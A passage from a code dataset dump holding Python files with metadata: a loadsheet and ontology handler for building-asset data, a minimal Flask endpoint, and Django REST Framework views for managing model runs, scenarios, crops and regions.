'{ontology_root}'.\")\n\n except Exception as e:\n # Raise the exception to the user\n print(f\"[WARNING]\\tOntology could not build: {e}\")\n\n def import_loadsheet(self, loadsheet_path, has_normalized_fields):\n \"\"\"\n Attempts to build loadsheet from given filepath\n If errors occur, prints them but doesn't close program\n\n args:\n - loadsheet_path: path of loadsheet Excel or BMS file\n - has_normalized_fields: flag if passed path is to BMS type (no normalized fields)\n or loadsheet (normalized fields)\n\n returns: N/A\n \"\"\"\n # Check that the ontology is built first.\n # if not self.ontology_built: #Ontology necessary for matching, not loadsheet\n # print('[ERROR]\\tOntology not built. Build it first.')\n # return\n\n try:\n valid_file_types = {\n '.xlsx': 'excel',\n '.csv': 'bms_file'\n }\n file_type = os.path.splitext(loadsheet_path)[1]\n\n assert file_type in valid_file_types, f\"Path '{loadsheet_path}' is not a valid file type (only .xlsx and .csv allowed).\"\n assert os.path.exists(\n loadsheet_path), f\"Loadsheet path '{loadsheet_path}' is not valid.\"\n try:\n # Import the data into the loadsheet object.\n self.ls = load.Loadsheet.from_loadsheet(\n loadsheet_path, has_normalized_fields)\n print(\"[INFO]\\tLoadsheet Imported\")\n self.loadsheet_built = True\n self.last_loadsheet_path = loadsheet_path\n\n except Exception as e:\n print(\"[ERROR]\\tLoadsheet raised errors: {}\".format(e))\n\n except Exception as e:\n print(\"[ERROR]\\tCould not load: {}\".format(e))\n\n # 01132021: ad-hoc fix for bms import error; needs to be addressed\n # later. Fix done to address demo issues Trevor had earlier\n # in the day. Currently do not have time to refactor =(.\n # basically took the source code directly above and reused w/\n # minimal modification\n def import_bms(self, bms_path, has_normalized_fields):\n \"\"\"\n Attempts to build loadsheet from given filepath\n If errors occur, prints them but doesn't close program\n\n args:\n - loadsheet_path: path of loadsheet Excel or BMS file\n - has_normalized_fields: flag if passed path is to BMS type (no normalized fields)\n or loadsheet (normalized fields)\n\n returns: N/A\n \"\"\"\n # Check that the ontology is built first.\n # if not self.ontology_built: #Ontology necessary for matching, not loadsheet\n # print('[ERROR]\\tOntology not built. Build it first.')\n # return\n\n try:\n valid_file_types = {\n '.xlsx': 'excel',\n '.csv': 'bms_file'\n }\n file_type = os.path.splitext(bms_path)[1]\n\n assert file_type in valid_file_types, f\"Path '{bms_path}' is not a valid file type (only .xlsx and .csv allowed).\"\n assert os.path.exists(\n bms_path), f\"Loadsheet path '{bms_path}' is not valid.\"\n try:\n # Import the data into the loadsheet object.\n self.ls = load.Loadsheet.from_bms(bms_path)\n print(\"[INFO]\\tBMS Imported\")\n self.loadsheet_built = True\n\n except Exception as e:\n print(\"[ERROR]\\tLoadsheet raised errors: {}\".format(e))\n\n except Exception as e:\n print(\"[ERROR]\\tCould not load: {}\".format(e))\n\n # end by sypks\n\n def validate_loadsheet(self):\n \"\"\" Try to build the loadsheet. If theres an error, print it out but don't blow up. \"\"\"\n\n # Check that the ontology is built first.\n if not self.ontology_built:\n print('[ERROR]\\tOntology not built. Build it first.')\n return\n\n try:\n\n # Validate the loadsheet\n print('[INFO]\\tValidating loadsheet.')\n self.ls.validate()\n print('[INFO]\\tValidation complete, no errors.')\n\n try:\n # Convert the loadsheet to validation\n print('[INFO]\\tConverting loadsheet into asset representations.')\n self.reps = representations.representations.Assets()\n self.reps.load_from_data(self.ls._data)\n print('[INFO]\\tAsset representations built.')\n\n # Validate the representations\n print('[INFO]\\tValidating assets.')\n self.reps.validate(self.ontology)\n print('[INFO]\\tAsset representations validated!')\n self.representations_built = True\n\n print('[INFO]\\tBuilding type representations...')\n self.general_types = self.reps.get_general_types()\n self.types = self.reps.determine_types()\n print(\n f'[INFO]\\tType representations built: {len(self.general_types)} general types, {len(self.types)} unique types')\n self.validated = True\n\n except Exception as e:\n print(f\"[ERROR]\\tAsset represtations failed to build: {e}. \")\n\n except Exception as e:\n print(f\"[ERROR]\\tLoadsheet raised errors: {e}\")\n\n def apply_rules(self, rules_path): # REWRITE ME\n \"\"\" Run a given rules file over the loadsheet data. \"\"\"\n\n try:\n assert self.loadsheet_built, \"Loadsheet is not initialized.\"\n assert os.path.exists(\n rules_path), f\"Rule file path '{rules_path}' is not valid.\"\n print(f\"[INFO]\\tApplying rules from '{rules_path}'\")\n self.ls.apply_rules(rules_path)\n print(\"[INFO]\\tRules applied.\")\n\n except Exception as e:\n print(f\"[ERROR]\\tRules could not be applied: {e}.\")\n\n def export_loadsheet(self, excel_path):\n \"\"\"\n exports loadshet data to excel file\n\n args:\n - excel_path: output filepath\n\n returns: N/A\n \"\"\"\n\n try:\n # Check that the loadsheet object is built.\n assert self.loadsheet_built, \"Loadsheet is not initialized.\"\n folderpath = excel_path.replace(excel_path.split('/')[-1], '')\n assert os.path.exists(\n folderpath[:-1]), \"Specified Excel path '{}' is not valid.\".format(folderpath[:-1])\n print(\"[INFO]\\tExporting to Excel file '{}'\".format(excel_path))\n self.ls.export_to_loadsheet(excel_path)\n print(\"[INFO]\\tData exported to Excel file!\")\n\n except Exception as e:\n print('[ERROR]\\tExcel file not exported: {}'.format(e))\n\n def export_abel_spreadsheet(self, excel_path, payload_path, output_path: Optional[str] = None):\n \"\"\"converts loadsheet to ABEL spreadsheet.\n\n args:\n - excel_path: path to normalized loadsheet.\n - payload_path: \n \"\"\"\n new_converter = abel.Abel()\n new_converter.import_loadsheet(excel_path)\n new_converter.import_payload(payload_path, format='csv')\n new_converter.build()\n if not output_path:\n output_path = excel_path.replace('.xlsx', '_abel.xlsx')\n print(output_path)\n new_converter.dump(output_path)\n\n def import_excel(self, excel_path):\n \"\"\" Import from an Excel file. \"\"\"\n try:\n # Check that the loadsheet object is built.\n if not self.loadsheet_built:\n self.ls = load.Loadsheet()\n self.loadsheet_built = True\n\n if excel_path is None and self.last_loadsheet_path != '':\n excel_path = self.last_loadsheet_path\n assert os.path.exists(\n excel_path), \"Specified Excel path '{}' is not valid.\".format(excel_path)\n self.last_loadsheet_path = excel_path\n\n print(\"[INFO]\\tImporting from Excel file '{}'\".format(excel_path))\n self.ls.from_loadsheet(excel_path)\n\n except Exception as e:\n print('[ERROR]\\tExcel file not imported: {}'.format(e))\n\n def review_types(self, general_type=None):\n \"\"\"\n lets user review assets by generaltype\n\n args:\n - general_type: User can input type and see all assets of that type\n Default None\n\n returns: N/A, prints review data to cmd\n \"\"\"\n if not self.validated:\n print(\"[ERROR]\\tLoadsheet isn't validated yet... run 'validate' first.\")\n return\n\n '''\n\t\ttypes is a dictionary of dictionary of list pairs\n\t\teach instance is of form\n\t\t\"general_type\":{\n\t\t\t\"fields_hash\":[[list_of asset paths],[list of type fields]],\n\t\t\t\"fields_hash\":[[list_of asset paths],[list of type fields]]\n\t\t}\n\t\t'''\n\n types = {}\n\n for asset_path in self.reps.assets:\n asset = self.reps.assets[asset_path]\n field_hash = _convert_to_base64(asset.get_fields())\n gT = asset.general_type.lower()\n if gT not in types.keys():\n types[gT] = {}\n if field_hash not in types[gT].keys():\n types[gT][field_hash] = [[], asset.get_fields()]\n types[gT][field_hash][0].append(asset.full_asset_name)\n\n # now we print\n if general_type is not None:\n if general_type.lower() not in types.keys():\n print(\n f\"[ERROR]\\tGeneral Type {general_type} not present in loadsheet. Valid types are {[type for type in types.keys()]}\")\n return\n relevant_assets = types[general_type.lower()]\n _print_type(general_type, relevant_assets)\n else:\n for type in types.keys():\n _print_type(type, types[type])\n\n def review_matches(self):\n \"\"\"\n reviews matches made once assets have been matched to the ontology\n match types are in {EXACT, CLOSE, INCOMPLETE, NONE}\n See match_types for more information\n\n args: N/A\n\n returns: N/A, but prints review to cmd\n \"\"\"\n if not self.matched:\n return\n\n matches = {}\n for asset_path in self.reps.assets:\n asset = self.reps.assets[asset_path]\n match = asset.match\n if match.match_type not in matches.keys():\n matches[match.match_type] = []\n matches[match.match_type].append(asset.full_asset_name)\n\n for match in matches:\n print(f\"[{match}]: {matches[match]}\")\n print('---------------------------------------------------------------------------------------------------------------------------------------------------\\n\\n')\n\n def match_types(self):\n \"\"\"\n Matches each asset to nearest asset in ontology\n\n prereqs:\n - loadsheet validation\n\n args: N/A\n\n returns: N/A\n \"\"\"\n\n if not self.validated:\n print(\"[ERROR]\\tLoadsheet isn't validated yet... run 'validate' first.\")\n return\n # Get matches for all types if the general_type specified is None.\n print(\"[INFO]\\tMatching types to ontology...\")\n\n for asset_path in self.reps.assets:\n asset = self.reps.assets[asset_path]\n match = self.ontology.find_best_fit_type(\n asset.get_fields(), 'HVAC', asset.get_general_type())\n asset.add_match(match)\n\n self.matched = True\n\n def apply_matches(self):\n \"\"\"\n returns each asset, one at a time\n\n args: N/A\n returns: Asset iterable\n \"\"\"\n for asset_path in self.reps.assets:\n yield self.reps.assets[asset_path]\n", "sub_path": "programs/handler.py", "file_name": "handler.py", "file_ext": "py", "file_size_in_byte": 15313, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "base64.b64encode", "line_number": 45, "usage_type": "call"}, {"api_name": "ontology.ontology.ontology.Ontology", "line_number": 104, "usage_type": "call"}, {"api_name": "ontology.ontology.ontology", "line_number": 104, "usage_type": "attribute"}, {"api_name": "ontology.ontology", "line_number": 104, "usage_type": "name"}, {"api_name": "os.path.splitext", "line_number": 136, "usage_type": "call"}, {"api_name": "os.path", "line_number": 136, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path", "line_number": 139, "usage_type": "attribute"}, {"api_name": "loadsheet.loadsheet.Loadsheet.from_loadsheet", "line_number": 143, "usage_type": "call"}, {"api_name": "loadsheet.loadsheet.Loadsheet", "line_number": 143, "usage_type": "attribute"}, {"api_name": "loadsheet.loadsheet", "line_number": 143, "usage_type": "name"}, {"api_name": "os.path.splitext", "line_number": 182, "usage_type": "call"}, {"api_name": "os.path", "line_number": 182, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 185, "usage_type": "call"}, {"api_name": "os.path", "line_number": 185, "usage_type": "attribute"}, {"api_name": "loadsheet.loadsheet.Loadsheet.from_bms", "line_number": 189, "usage_type": "call"}, {"api_name": "loadsheet.loadsheet.Loadsheet", "line_number": 189, "usage_type": "attribute"}, {"api_name": "loadsheet.loadsheet", "line_number": 189, "usage_type": "name"}, {"api_name": "representations.representations.representations.Assets", "line_number": 219, "usage_type": "call"}, {"api_name": "representations.representations.representations", "line_number": 219, "usage_type": "attribute"}, {"api_name": "representations.representations", "line_number": 219, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 247, "usage_type": "call"}, {"api_name": "os.path", "line_number": 247, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 270, "usage_type": "call"}, {"api_name": "os.path", "line_number": 270, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 279, "usage_type": "name"}, {"api_name": "abel_converter.abel.Abel", "line_number": 286, "usage_type": "call"}, {"api_name": "abel_converter.abel", "line_number": 286, "usage_type": "name"}, {"api_name": "loadsheet.loadsheet.Loadsheet", "line_number": 300, "usage_type": "call"}, {"api_name": "loadsheet.loadsheet", "line_number": 300, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 305, "usage_type": "call"}, {"api_name": "os.path", "line_number": 305, "usage_type": "attribute"}]} {"seq_id": "67630793", "text": "from flask import Flask, jsonify, request\nfrom flask_cors import CORS\n\napp = Flask(__name__)\n\n@app.route(\"/api\", methods=['POST'])\ndef api():\n\n r = request.json\n print(r)\n\n return '', 200\n\n\nif __name__ == \"__main__\":\n app.run(port=5000)", "sub_path": "server/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 248, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "flask.Flask", "line_number": 4, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 9, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 9, "usage_type": "name"}]} {"seq_id": "209176717", "text": "from django.shortcuts import render\n\nfrom rest_framework import viewsets\nfrom rest_framework.decorators import api_view, authentication_classes, permission_classes\nfrom rest_framework.authentication import SessionAuthentication, BasicAuthentication\nfrom rest_framework.permissions import BasePermission, IsAuthenticated, IsAdminUser, SAFE_METHODS\nfrom rest_framework import generics\nfrom django.contrib.auth.decorators import login_required\n\nfrom npsat_manager import serializers\nfrom npsat_manager import models\nfrom npsat_manager.support import tokens # token code makes sure that all users have tokens - needs to be imported somewhere\n\nfrom rest_framework.views import APIView\nfrom rest_framework.authtoken.views import ObtainAuthToken\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.response import Response\nfrom django.db.models import Q\n\n\nclass CustomAuthToken(ObtainAuthToken):\n\t\"\"\"\n\tVia https://www.django-rest-framework.org/api-guide/authentication/\n\tCreates a custom object that returns more than just the auth token when users hit the API endpoint.\n\t\"\"\"\n\tdef post(self, request, *args, **kwargs):\n\t\tserializer = self.serializer_class(data=request.data,\n\t\t context={'request': request})\n\t\tserializer.is_valid(raise_exception=True)\n\t\tuser = serializer.validated_data['user']\n\t\ttoken, created = Token.objects.get_or_create(user=user)\n\t\treturn Response({\n\t\t\t'token': token.key,\n\t\t\t'user_id': user.pk,\n\t\t\t'username': user.username,\n\t\t\t'is_staff': user.is_staff,\n\t\t\t'is_superuser': user.is_superuser,\n\t\t\t'email': user.email,\n\t\t})\n\n\nclass ReadOnly(BasePermission):\n\tdef has_permission(self, request, view):\n\t\treturn request.method in SAFE_METHODS\n\n\n# Create your views here.\nclass FeedOnDashboard(APIView):\n\t\"\"\"\n\tthe API endpoint for dashboard\n\n\tIt will return information for the dashboard\n\t1. recent 10 completed model by the authenticated user\n\t2. recent 10 published model not created by the authenticated user\n\t3. meta info: total number of models created, etc...\n\t4. updates/notifications\n\t\"\"\"\n\tpermission_classes = [IsAuthenticated]\n\thttp_method_names = [\"get\"]\n\n\tdef get(self, request):\n\t\t\"\"\"\n\t\treturn the above mentioned information\n\t\t\"\"\"\n\t\tcompleted_models = models.ModelRun.objects.filter(\n\t\t\tuser=self.request.user,\n\t\t\tstatus=models.ModelRun.COMPLETED,\n\t\t).order_by('-date_completed')\n\t\trecent_published_models = models.ModelRun.objects.exclude(\n\t\t\tuser=self.request.user\n\t\t).filter(\n\t\t\tpublic=True\n\t\t).order_by('-date_completed')[:10]\n\t\ttotal_created_number = models.ModelRun.objects.filter(user=self.request.user).count()\n\t\ttotal_completed_number = completed_models.count()\n\t\ttotal_published_number = models.ModelRun.objects.filter(public=True, user=self.request.user).count()\n\t\ttotal_public_number = models.ModelRun.objects.filter(public=True).count()\n\n\t\t# plot data\n\t\tplot_models_data = models.ModelRun.objects\\\n\t\t\t.filter(Q(user=self.request.user) | Q(public=True))\\\n\t\t\t.filter(status=models.ModelRun.COMPLETED)\\\n\t\t\t.order_by(\"-date_submitted\")\n\n\t\t# updates information\n\t\treturn Response({\n\t\t\t'recent_completed_models': serializers.RunResultSerializer(completed_models[:10], many=True).data,\n\t\t\t'recent_published_models': serializers.RunResultSerializer(recent_published_models, many=True).data,\n\t\t\t'total_created_number': total_created_number,\n\t\t\t'total_public_number': total_public_number,\n\t\t\t'total_completed_number': total_completed_number,\n\t\t\t'total_published_number': total_published_number,\n\t\t\t'plot_models_data': serializers.CompletedRunResultWithValuesSerializer(\n\t\t\t\tinstance=plot_models_data[:20], many=True, percentiles=[50]\n\t\t\t).data\n\t\t})\n\n\nclass ScenarioViewSet(viewsets.ModelViewSet):\n\t\"\"\"\n\tscenario name\n\n\tPermissions: IsAdminUser | ReadOnly (Admin users can do all operations, others can use HEAD and GET)\n\t\"\"\"\n\tpermission_classes = [IsAdminUser | ReadOnly]\n\tserializer_class = serializers.ScenarioSerializer\n\tqueryset = models.Scenario.objects.filter(active_in_mantis=True).order_by('name')\n\n\nclass CropViewSet(viewsets.ModelViewSet):\n\t\"\"\"\n\tCrop Names and Codes\n\n\tPermissions: IsAdminUser | ReadOnly (Admin users can do all operations, others can use HEAD and GET)\n\t\"\"\"\n\tpermission_classes = [IsAdminUser | ReadOnly] # Admin users can do any operation, others, can read from the API, but not write\n\n\tserializer_class = serializers.CropSerializer\n\tqueryset = models.Crop.objects.order_by('name')\n\n\nclass RegionViewSet(viewsets.ModelViewSet):\n\t\"\"\"\n\t\tAPI endpoint that allows listing of Region\n\n\t\tPermissions: IsAdminUser | ReadOnly (Admin users can do all operations, others can use HEAD and GET)\n\t\"\"\"\n\tpermission_classes = [IsAdminUser | ReadOnly] # Admin users can do any operation, others, can read from the API, but not write\n\n\tserializer_class = serializers.RegionSerializer\n\n\tdef get_queryset(self):\n\t\tqueryset = models.Region.objects.filter(active_in_mantis=True).order_by('name')\n\t\tregion_type = self.request.query_params.get('region_type', None)\n\t\tif region_type:\n\t\t\tqueryset = queryset.filter(region_type=region_type)\n\t\treturn queryset\n\n\nclass ModelRunViewSet(viewsets.ModelViewSet):\n\t\"\"\"\n\tCreate, List, and Modify Model Runs\n\n\tTest\n\n\tPermissions: Must be authenticated\n\n\tOptional params:\n\t\tfilter:\n\t\t\tstatus: all(default) or a int array joined by comma, this will filter status\n\t\ttags:\n\t\t\tpublic: true(default), if the user want to include public model\n\t\t\tisBase: true(default), if the user want to include base model\n\t\t\torigin: true(default), if the user want to include self-created model\n\t\t\tscenarios: false(default) ro a int array joined by comma, this will filter scenarios\n\t\tsearch:\n\t\t\tsearch: false(default) or string, this will search the model name and desc\n\t\tsorter:\n\t\t\tfalse(default) or formatted string as `{param},{ascend | descend}`\n\t\tincludeBase(only on retrieve request):\n\t\t\tfalse(default) or true, this will include base model info\n\tThese params are additional filter to sift models to return the model list\n\t\"\"\"\n\tpermission_classes = [IsAuthenticated]\n\n\tserializer_class = serializers.RunResultSerializer\n\n\tdef retrieve(self, request, *args, **kwargs):\n\t\tserializer = None\n\t\tinstance = self.get_object()\n\t\t# whether the client sends note that include base model\n\t\tinclude_base = self.request.query_params.get(\"includeBase\", False)\n\t\tbase_model = None\n\t\tif include_base and not instance.is_base:\n\t\t\ttry:\n\t\t\t\tbase_model = models.ModelRun.objects.get(scenario=instance.scenario, is_base=True)\n\t\t\texcept models.ModelRun.DoesNotExist:\n\t\t\t\tbase_model = None\n\t\tif base_model:\n\t\t\tserializer = self.get_serializer([instance, base_model], many=True)\n\t\telse:\n\t\t\tserializer = self.get_serializer(instance)\n\t\treturn Response(serializer.data)\n\n\tdef get_queryset(self):\n\t\t# tags\n\t\tinclude_public = self.request.query_params.get(\"public\", \"true\")\n\t\tinclude_base = self.request.query_params.get(\"isBase\", \"true\")\n\t\tinclude_origin = self.request.query_params.get(\"origin\", \"true\")\n\t\t# all objects available for user\n\t\t# here we are doing a logic like this:\n\t\t# as long as the model satisfies any of the true conditions, include it\n\t\t# An alternative logic is to exclude the false conditions\n\t\t# queryset = models.ModelRun.objects.filter(\n\t\t# \tQ(user=self.request.user) | Q(public=True) | Q(isBase=True)\n\t\t# )\n\n\t\t# search\n\t\tsearch_text = self.request.query_params.get(\"search\", False)\n\n\t\t# sorters\n\t\tsorter = self.request.query_params.get(\"sorter\", False)\n\n\t\t# filter\n\t\tstatus = self.request.query_params.get(\"status\", False)\n\t\tscenarios = self.request.query_params.get(\"scenarios\", False)\n\n\t\tquery = None\n\t\tif include_public == \"true\":\n\t\t\tquery = Q(public=True)\n\t\tif include_base == \"true\":\n\t\t\tquery = Q(is_base=True) if not query else query | Q(is_base=True)\n\t\tif include_origin == \"true\":\n\t\t\tquery = Q(user=self.request.user) if not query else query | Q(user=self.request.user)\n\n\t\tif not query:\n\t\t\treturn []\n\t\tresults = models.ModelRun.objects.filter(query)\n\t\tif status:\n\t\t\tresults = results.filter(status__in=status.split(','))\n\n\t\tif search_text:\n\t\t\tquery = Q(name__contains=search_text) | Q(description__contains=search_text)\n\t\t\tresults = results.filter(query)\n\n\t\tif scenarios:\n\t\t\tresults = results.filter(scenario__in=scenarios.split(','))\n\n\t\tif sorter:\n\t\t\tsorter_field, order = sorter.split(',')\n\t\t\t# check if any malicious injection\n\t\t\tif hasattr(models.ModelRun, sorter_field):\n\t\t\t\tif order == 'ascend':\n\t\t\t\t\treturn results.order_by(sorter_field)\n\t\t\t\telse:\n\t\t\t\t\treturn results.order_by('-' + sorter_field)\n\n\t\treturn results.order_by('id')\n\n\nclass ModificationViewSet(viewsets.ModelViewSet):\n\t\"\"\"\n\tAPI endpoint that allows listing of Modifications\n\n\tPermissions: Must be authenticated\n\t\"\"\"\n\tpermission_classes = [IsAuthenticated]\n\n\tserializer_class = serializers.ModificationSerializer\n\n\tdef get_queryset(self):\n\t\treturn models.Modification.objects.filter(model_run__user=self.request.user).order_by('id')\n\n\nclass ResultPercentileViewSet(viewsets.ModelViewSet):\n\t\"\"\"\n\tAPI endpoint for model results\n\trestricted to only allow GET request\n\n\tPermission: same as the model run, must be authenticated\n\t\"\"\"\n\tpermission_classes = [IsAuthenticated]\n\thttp_method_names = [\"get\"]\n\n\tserializer_class = serializers.ResultPercentileSerializer\n\n\tdef get_queryset(self):\n\t\treturn models.ResultPercentile.objects\\\n\t\t\t.filter(\n\t\t\t\tQ(model__user=self.request.user) |\n\t\t\t\tQ(model__public=True) |\n\t\t\t\tQ(model__is_base=True)\n\t\t\t)\\\n\t\t\t.order_by('id')\n\n", "sub_path": "npsat_manager/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 9344, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "rest_framework.authtoken.views.ObtainAuthToken", "line_number": 21, "usage_type": "name"}, {"api_name": "rest_framework.authtoken.models.Token.objects.get_or_create", "line_number": 31, "usage_type": "call"}, {"api_name": "rest_framework.authtoken.models.Token.objects", "line_number": 31, "usage_type": "attribute"}, {"api_name": "rest_framework.authtoken.models.Token", "line_number": 31, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 32, "usage_type": "call"}, {"api_name": "rest_framework.permissions.BasePermission", "line_number": 42, "usage_type": "name"}, {"api_name": "rest_framework.permissions.SAFE_METHODS", "line_number": 44, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 48, "usage_type": "name"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 58, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 58, "usage_type": "name"}, {"api_name": "npsat_manager.models.ModelRun.objects.filter", "line_number": 65, "usage_type": "call"}, {"api_name": "npsat_manager.models.ModelRun", "line_number": 65, "usage_type": "attribute"}, {"api_name": "npsat_manager.models", "line_number": 65, "usage_type": "name"}, {"api_name": "npsat_manager.models.ModelRun", "line_number": 67, "usage_type": "attribute"}, {"api_name": "npsat_manager.models", "line_number": 67, "usage_type": "name"}, {"api_name": "npsat_manager.models.ModelRun.objects.exclude", "line_number": 69, "usage_type": "call"}, {"api_name": "npsat_manager.models.ModelRun", "line_number": 69, "usage_type": "attribute"}, {"api_name": "npsat_manager.models", "line_number": 69, "usage_type": "name"}, {"api_name": "npsat_manager.models.ModelRun.objects.filter", "line_number": 74, "usage_type": "call"}, {"api_name": "npsat_manager.models.ModelRun", "line_number": 74, "usage_type": "attribute"}, {"api_name": "npsat_manager.models", "line_number": 74, "usage_type": "name"}, {"api_name": "npsat_manager.models.ModelRun.objects.filter", "line_number": 76, "usage_type": "call"}, {"api_name": "npsat_manager.models.ModelRun", "line_number": 76, "usage_type": "attribute"}, {"api_name": "npsat_manager.models", "line_number": 76, "usage_type": "name"}, {"api_name": "npsat_manager.models.ModelRun.objects.filter", "line_number": 77, "usage_type": "call"}, {"api_name": "npsat_manager.models.ModelRun", "line_number": 77, "usage_type": "attribute"}, {"api_name": "npsat_manager.models", "line_number": 77, "usage_type": "name"}, {"api_name": "npsat_manager.models.ModelRun.objects.filter", "line_number": 80, "usage_type": "call"}, {"api_name": "npsat_manager.models.ModelRun", "line_number": 80, "usage_type": "attribute"}, {"api_name": "npsat_manager.models", "line_number": 80, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 81, "usage_type": "call"}, {"api_name": "npsat_manager.models.ModelRun", "line_number": 82, "usage_type": "attribute"}, {"api_name": "npsat_manager.models", "line_number": 82, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 86, "usage_type": "call"}, {"api_name": "npsat_manager.serializers.RunResultSerializer", "line_number": 87, "usage_type": "call"}, {"api_name": "npsat_manager.serializers", "line_number": 87, "usage_type": "name"}, {"api_name": "npsat_manager.serializers.RunResultSerializer", "line_number": 88, "usage_type": "call"}, {"api_name": "npsat_manager.serializers", "line_number": 88, "usage_type": "name"}, {"api_name": "npsat_manager.serializers.CompletedRunResultWithValuesSerializer", "line_number": 93, "usage_type": "call"}, {"api_name": "npsat_manager.serializers", "line_number": 93, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 99, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 99, "usage_type": "name"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 105, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAdminUser", "line_number": 105, "usage_type": "name"}, {"api_name": "npsat_manager.serializers.ScenarioSerializer", "line_number": 106, "usage_type": "attribute"}, {"api_name": "npsat_manager.serializers", "line_number": 106, "usage_type": "name"}, {"api_name": "npsat_manager.models.Scenario.objects.filter", "line_number": 107, "usage_type": "call"}, {"api_name": "npsat_manager.models.Scenario", "line_number": 107, "usage_type": "attribute"}, {"api_name": "npsat_manager.models", "line_number": 107, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 110, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 110, "usage_type": "name"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 116, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAdminUser", "line_number": 116, "usage_type": "name"}, {"api_name": "npsat_manager.serializers.CropSerializer", "line_number": 118, "usage_type": "attribute"}, {"api_name": "npsat_manager.serializers", "line_number": 118, "usage_type": "name"}, {"api_name": "npsat_manager.models.Crop.objects.order_by", "line_number": 119, "usage_type": "call"}, {"api_name": "npsat_manager.models.Crop", "line_number": 119, "usage_type": "attribute"}, {"api_name": "npsat_manager.models", "line_number": 119, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 122, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 122, "usage_type": "name"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 128, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAdminUser", "line_number": 128, "usage_type": "name"}, {"api_name": "npsat_manager.serializers.RegionSerializer", "line_number": 130, "usage_type": "attribute"}, {"api_name": "npsat_manager.serializers", "line_number": 130, "usage_type": "name"}, {"api_name": "npsat_manager.models.Region.objects.filter", "line_number": 133, "usage_type": "call"}, {"api_name": "npsat_manager.models.Region", "line_number": 133, "usage_type": "attribute"}, {"api_name": "npsat_manager.models", "line_number": 133, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 140, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 140, "usage_type": "name"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 164, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 164, "usage_type": "name"}, {"api_name": "npsat_manager.serializers.RunResultSerializer", "line_number": 166, "usage_type": "attribute"}, {"api_name": "npsat_manager.serializers", "line_number": 166, "usage_type": "name"}, {"api_name": "npsat_manager.models.ModelRun.objects.get", "line_number": 176, "usage_type": "call"}, {"api_name": "npsat_manager.models.ModelRun", "line_number": 176, "usage_type": "attribute"}, {"api_name": "npsat_manager.models", "line_number": 176, "usage_type": "name"}, {"api_name": "npsat_manager.models.ModelRun", "line_number": 177, "usage_type": "attribute"}, {"api_name": "npsat_manager.models", "line_number": 177, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 183, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 210, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 212, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 214, "usage_type": "call"}, {"api_name": "npsat_manager.models.ModelRun.objects.filter", "line_number": 218, "usage_type": "call"}, {"api_name": "npsat_manager.models.ModelRun", "line_number": 218, "usage_type": "attribute"}, {"api_name": "npsat_manager.models", "line_number": 218, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 223, "usage_type": "call"}, {"api_name": "npsat_manager.models.ModelRun", "line_number": 232, "usage_type": "attribute"}, {"api_name": "npsat_manager.models", "line_number": 232, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 241, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 241, "usage_type": "name"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 247, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 247, "usage_type": "name"}, {"api_name": "npsat_manager.serializers.ModificationSerializer", "line_number": 249, "usage_type": "attribute"}, {"api_name": "npsat_manager.serializers", "line_number": 249, "usage_type": "name"}, {"api_name": "npsat_manager.models.Modification.objects.filter", "line_number": 252, "usage_type": "call"}, {"api_name": "npsat_manager.models.Modification", "line_number": 252, "usage_type": "attribute"}, {"api_name": "npsat_manager.models", "line_number": 252, "usage_type": "name"}, {"api_name": "rest_framework.viewsets.ModelViewSet", "line_number": 255, "usage_type": "attribute"}, {"api_name": "rest_framework.viewsets", "line_number": 255, "usage_type": "name"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 262, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 262, "usage_type": "name"}, {"api_name": 